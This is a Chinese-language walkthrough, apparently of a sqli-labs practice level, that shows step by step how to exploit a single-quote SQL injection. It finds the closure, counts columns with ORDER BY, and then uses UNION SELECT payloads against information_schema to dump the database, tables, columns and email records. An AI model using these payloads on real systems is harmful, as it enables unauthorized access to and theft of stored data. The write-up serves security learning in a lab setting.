根据提示输入id(hackbar工具)
输入1成功
输入1'失败
错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
信息:'1'' LIMIT 0,1 其中1'是我们自己输入的
求闭合: 初步判断出为单引号,用-- 对后面的单引号进行注释
?id=1' and 1=1-- -成功
?id=1' and 1=2-- -失败
求列数
?id=1' and 1=1 order by 1-- -
?id=1' and 1=1 order by 1,2-- -
?id=1' and 1=1 order by 12,3-- -
?id=1' and 1=1 order by 1,2,3,4-- -
开始提示Unknown column '4' in 'order clause'
得出列数为3
爆显示位
?id=1' and 1=1 union select 1,2,3-- -
发现并没有显示,让前面的条件报错
?id=1' and 1=2 union select 1,2,3-- -
得到显示
Welcome Dhakkan
Your Login name:2
Your Password:3
爆数据库
?id=1' and 1=2 union select 1,2,database()-- -
在显示位3处显示:
Your Password:security
爆表
?id=2' and 2=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
在显示位3处:
Your Password:emails,referers,uagents,users
爆列
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()-- -
在显示位3:Password:id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password
在where加入and table_name='emails'......可以得出每个表有哪些列
emails:Your Password:id,email_id
爆字段
?id=1' and 1=2 union select 1,2,group_concat(id,0x23,email_id,0x23) from emails-- -
得出所有信息
注:0x23是分隔符